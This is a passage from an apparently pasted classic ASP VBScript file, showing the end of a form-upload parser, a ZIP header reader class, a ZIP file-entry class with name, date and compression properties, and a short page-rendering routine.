  2225.                     Exit Property
  2226.                 End If
  2227.             Next
  2228.         End If
  2229.         Set Fields = New clsField
  2230.     End Property
  2231.  
  2232.     Private Sub Class_Terminate()
  2233.         Dim llngIndex
  2234.         For llngIndex = 0 To mlngCount - 1
  2235.             Set mobjFieldAry(llngIndex) = Nothing
  2236.            
  2237.         Next
  2238.         ReDim mobjFieldAry(-1)
  2239.     End Sub
  2240.  
  2241.     Private Sub Class_Initialize()
  2242.         ReDim mobjFieldAry(-1)
  2243.         CR = ChrB(Asc(vbCr))
  2244.         LF = ChrB(Asc(vbLf))
  2245.         CRLF = CR & LF
  2246.         mlngCount = 0
  2247.         Call RequestData
  2248.         Call ParseDelimiter()
  2249.         Call ParseData
  2250.     End Sub
  2251.  
  2252.     Private Function CStrU(ByRef pstrANSI)
  2253.         Dim llngLength
  2254.         Dim llngIndex
  2255.         llngLength = LenB(pstrANSI)
  2256.         For llngIndex = 1 To llngLength
  2257.             CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1)))
  2258.         Next
  2259.     End Function
  2260.  
  2261.     Private Function CStrB(ByRef pstrUnicode)
  2262.         Dim llngLength
  2263.         Dim llngIndex
  2264.         llngLength = Len(pstrUnicode)
  2265.         For llngIndex = 1 To llngLength
  2266.             CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1)))
  2267.         Next
  2268.     End Function
  2269. End Class
  2270.  
  2271. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  2272.  
  2273. Class clsZip
  2274.     Private mbin_Zip
  2275.     Private mobj_Files()
  2276.     Private mlng_Files
  2277.    
  2278.     Sub ZipLoad(pstrFileName)
  2279.         Dim lobjFSO
  2280.         Dim llngTristateFalse
  2281.         Dim llngForReading
  2282.         dim objStream
  2283.        
  2284.         mbin_Zip = ""
  2285.        
  2286.         If pstrFileName = "" Then Exit Sub
  2287.  
  2288.         If InStr(1, pstrFileName, ":\") = 0 Then
  2289.             pstrFileName = Server.MapPath(pstrFileName)
  2290.         End If
  2291.  
  2292.         Set lobjFSO = Server.CreateObject("Scripting.FileSystemObject")
  2293.  
  2294.         If lobjFSO.FileExists(pstrFileName) Then
  2295.             set objStream=Server.CreateObject("ADODB.Stream")
  2296.             objStream.Type=1
  2297.             objStream.Open
  2298.             on error resume next
  2299.             objStream.LoadFromFile(pstrFileName)
  2300.             mbin_Zip = objStream.Read
  2301.             set objStream=nothing
  2302.         End If
  2303.            
  2304.         Set lobjFSO = Nothing
  2305.            
  2306.         Call ParseZips()
  2307.  
  2308.     End Sub
  2309.    
  2310.     Public Property Let ZipData(ByRef pbinBinaryData)
  2311.         mbin_Zip = pbinBinaryData
  2312.         Call ParseZips()
  2313.     End Property
  2314.     Public Property Get FileCount()
  2315.         FileCount = mlng_Files
  2316.     End Property
  2317.     Public Property Get GetFile(ByRef plngIndex)
  2318.         Set GetFile = mobj_Files(plngIndex-1)
  2319.     End Property
  2320.  
  2321.     Private Sub ParseZips()
  2322.         Dim llngOffSet
  2323.         mlng_Files = 0
  2324.         llngOffSet = 0
  2325.         If LenB(mbin_Zip) = 0 Then Exit Sub
  2326.         Do
  2327.             ' Find next PK 3.04 record
  2328.             llngOffset = InStrB(llngOffset + 1, mbin_zip, ChrB(&h50) & ChrB(&h4B) & ChrB(&h03) & ChrB(&h04))
  2329.             If llngOffset = 0 Then Exit Do
  2330.             llngOffset = llngOffset - 1
  2331.             ReDim Preserve mobj_Files(mlng_Files)
  2332.             Set mobj_Files(mlng_Files) = New clsZipFile
  2333.             With mobj_Files(mlng_Files)
  2334.                 .Signature              = GetString(llngOffset + 1, 2) & " " & CInt(GetHex(llngOffset + 3, 1)) & "." & GetHex(llngOffset + 4, 1)
  2335.                 .ExtractVersion         = FormatNumber(GetNumber(llngOffset + 5, 2) * .1, 1, True)
  2336.                 .GeneralPurposeFlags    = GetNumber(llngOffset + 7, 2)
  2337.                 .CompressionMethod      = GetNumber(llngOffset + 9, 2)
  2338.                 .LastModifiedTime       = GetNumber(llngOffset + 11, 2)
  2339.                 .LastModifiedDate       = GetNumber(llngOffset + 13, 2)
  2340.                 .CRC32                  = GetNumber(llngOffset + 15, 4)
  2341.                 .CompressedSize         = GetNumber(llngOffset + 19, 4)
  2342.                 .UncompressedSize       = GetNumber(llngOffset + 23, 4)
  2343.                 .FileNameLength         = GetNumber(llngOffset + 27, 2)
  2344.                 .ExtraFieldLength       = GetNumber(llngOffset + 29, 2)
  2345.                 .FileName               = GetString(llngOffset + 31, .FileNameLength)
  2346.                 .ExtraField             = GetString(llngOffset + 31 + .FileNameLength, .ExtraFieldLength)
  2347.                 .StartByte              = llngOffSet + 1
  2348.                 .EndByte                = llngOffSET + .FileNameLength + .ExtraFieldLength + .CompressedSize + 30
  2349. '               .BinaryData             = MidB(pbin_Zip, llngOffSET + .FileNameLength + .ExtraFieldLength + 30, .CompressedSize)
  2350. '               .LocalFileHeader        = GetString(llngOffset + 1, .FileNameLength + .ExtraFieldLength + 30)
  2351.                 llngOffSet              = .EndByte
  2352.                 .IsOverall              = (.Name = "" And .Path = "")
  2353.                 .IsFolder               = (.Name = "" And Not .Path = "")
  2354.             End With
  2355.             mlng_Files = mlng_Files + 1
  2356.         Loop While mobj_Files(mlng_Files - 1).EndByte < LenB(mbin_zip)
  2357.     End Sub
  2358.    
  2359.     Private Function GetHex(plngStart, plngLength)
  2360.         Dim llngIndex
  2361.         Dim lstrHex
  2362.         For llngIndex = 0 To plngLength - 1
  2363.             lstrHex = lstrHex & Right("0" & Hex(AscB(MidB(mbin_zip, plngStart + llngIndex, 1))), 2)
  2364.         Next
  2365.         GetHex = lstrHex
  2366.     End Function
  2367.    
  2368.     Private Function GetString(plngStart, plngLength)
  2369.         Dim llngIndex
  2370.         Dim lstrString
  2371.         If LenB(mbin_zip) < (plngStart + (plngLength - 1)) Then Exit Function
  2372.         For llngIndex = 0 To plngLength - 1
  2373.             If AscB(MidB(mbin_zip, plngStart + llngIndex, 1)) = 0 Then
  2374.                 lstrString = lstrString & " "
  2375.             Else
  2376.                 lstrString = lstrString & Chr(AscB(MidB(mbin_zip, plngStart + llngIndex, 1)))
  2377.             End If
  2378.         Next
  2379.         GetString = lstrString
  2380.     End Function
  2381.    
  2382.     Private Function GetNumber(plngStart, plngLength)
  2383.         If plngStart < 0 Then Exit Function
  2384.         Dim llngIndex
  2385.         Dim lstrHex
  2386.         For llngIndex = 0 To plngLength - 1
  2387.             lstrHex = Right("0" & Hex(AscB(MidB(mbin_zip, plngStart + llngIndex, 1))), 2) & lstrHex
  2388.         Next
  2389.         GetNumber = CDbl("&h" & lstrHex)
  2390.     End Function
  2391.    
  2392.     Function GetDate(plngStart)
  2393.         Dim llngDate
  2394.         llngDate = GetNumber(plngStart, 2)
  2395.         GetDate = DateSerial(1980 + (llngDate And &HFE00) \ &H200, (llngDate And &H1E0) \ &H20, llngDate And &H1F)
  2396.     End Function
  2397.    
  2398.     Function GetTime(plngStart)
  2399.         Dim llngDate
  2400.         llngDate = GetNumber(plngStart, 2)
  2401.         GetTime = TimeSerial((llngDate And &HF800) \ &H800, (llngDate And &H7E0) \ &H20, (llngDate And &H1F) * 2)
  2402.     End Function
  2403. End Class
  2404.  
  2405. Class clsZipFile
  2406.     Public Signature
  2407.     Public ExtractVersion
  2408.     Public GeneralPurposeFlags
  2409.     Public CompressionMethod
  2410.     Public LastModifiedTime
  2411.     Public LastModifiedDate
  2412.     Public CRC32
  2413.     Public CompressedSize
  2414.     Public UncompressedSize
  2415.     Public FileNameLength
  2416.     Public ExtraFieldLength
  2417.     Public FileName
  2418.     Public ExtraField
  2419.     Public StartByte
  2420.     Public EndByte
  2421.     Public BinaryData
  2422.     Public LocalFileHeader
  2423.    
  2424.     Public IsFolder
  2425.     Public IsOverall
  2426.    
  2427.     Public Property Get Name
  2428.         Dim lstrPath
  2429.         lstrPath = Replace(FileName, "/", "\")
  2430.         If InStr(1, lstrPath, "\") = "0" Then
  2431.             Name = lstrPath
  2432.             Exit Property
  2433.         End If
  2434.         Name = Mid(lstrPath, InStrRev(lstrPath, "\") + 1)
  2435.     End Property
  2436.  
  2437.     Public Property Get Path
  2438.         Dim lstrPath
  2439.         lstrPath = Replace(FileName, "/", "\")
  2440.         If InStr(1, lstrPath, "\") = "0" Then
  2441.             Path = ""
  2442.             Exit Property
  2443.         End If
  2444.         Path = Mid(lstrPath, 1, InStrRev(lstrPath, "\"))
  2445.     End Property
  2446.  
  2447.     Public Property Get Packed
  2448.         Packed = CompressedSize
  2449.     End Property
  2450.    
  2451.     Public Property Get Ratio
  2452.         If UncompressedSize = 0 Then Exit Property
  2453.         If CompressedSize >= UncompressedSize Then
  2454.             Ratio = "0%"
  2455.         Else
  2456.             Ratio = FormatNumber(((1 - (CompressedSize / UncompressedSize)) * 100), 0, True, False, True) & "%"
  2457.         End If
  2458.     End Property
  2459.  
  2460.     Public Property Get Modified()
  2461.         Modified = CDate(GetDate(LastModifiedDate) & " " & GetTime(LastModifiedTime))
  2462.     End Property
  2463.    
  2464.     Private Function GetDate(plngDate)
  2465.         GetDate = DateSerial(1980 + (plngDate And &HFE00) \ &H200, _
  2466.             (plngDate And &H1E0) \ &H20, plngDate And &H1F)
  2467.     End Function
  2468.  
  2469.     Private Function GetTime(plngDate)
  2470.         GetTime = TimeSerial((plngDate And &HF800) \ &H800, _
  2471.             (plngDate And &H7E0) \ &H20, _
  2472.             (plngDate And &H1F) * 2)
  2473.     End Function
  2474.    
  2475.     Public Property Get Size()
  2476.         Size = UncompressedSize
  2477.     End Property
  2478.    
  2479.     Public Property Get BitMask()
  2480.         Dim llngNumber
  2481.         Dim lstrBits
  2482.         llngNumber = GeneralPurposeFlags
  2483.         Do
  2484.             If llngNumber Mod 2 = 1 Then lstrBits = "1" & lstrBits Else lstrBits = "0" & lstrBits
  2485.             llngNumber = llngNumber \ 2
  2486.         Loop Until llngNumber = 0
  2487.         lstrBits = Right("0000000000000000" & lstrBits, 16)
  2488.         For llngNumber = 0 To 3
  2489.             lstrReturn = lstrReturn & Mid(lstrBits, (llngNumber * 4) + 1, 4) & "."
  2490.         Next
  2491.         BitMask = Left(lstrReturn, 19)
  2492.     End Property
  2493.  
  2494.     Property Get CompressionMethodString()
  2495.         Select Case CompressionMethod
  2496.             Case 0 CompressionMethodString = "The file is stored (no compression)"
  2497.             Case 1 CompressionMethodString = "The file is Shrunk"
  2498.             Case 2 CompressionMethodString = "The file is Reduced with compression factor 1"
  2499.             Case 3 CompressionMethodString = "The file is Reduced with compression factor 2"
  2500.             Case 4 CompressionMethodString = "The file is Reduced with compression factor 3"
  2501.             Case 5 CompressionMethodString = "The file is Reduced with compression factor 4"
  2502.             Case 6 CompressionMethodString = "The file is Imploded"
  2503.             Case 7 CompressionMethodString = "Reserved for Tokenizing compression algorithm"
  2504.             Case 8 CompressionMethodString = "The file is Deflated"
  2505.             Case 9 CompressionMethodString = "Reserved for enhanced Deflating"
  2506.             Case 10 CompressionMethodString = "PKWARE Date Compression Library Imploding"
  2507.             Case Else CompressionMethodString = "Unhandled Copression type: " & CompressionMethod
  2508.         End Select
  2509.     End Property
  2510. End Class
  2511.  
  2512.  
  2513. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  2514.  
  2515. sub myWelcome()
  2516.     HtmlHeader("")
  2517.     HtmlMode()
  2518.     HtmlFooter()
  2519.     Destroy()
  2520. end sub
  2521.  
  2522. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  2523. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement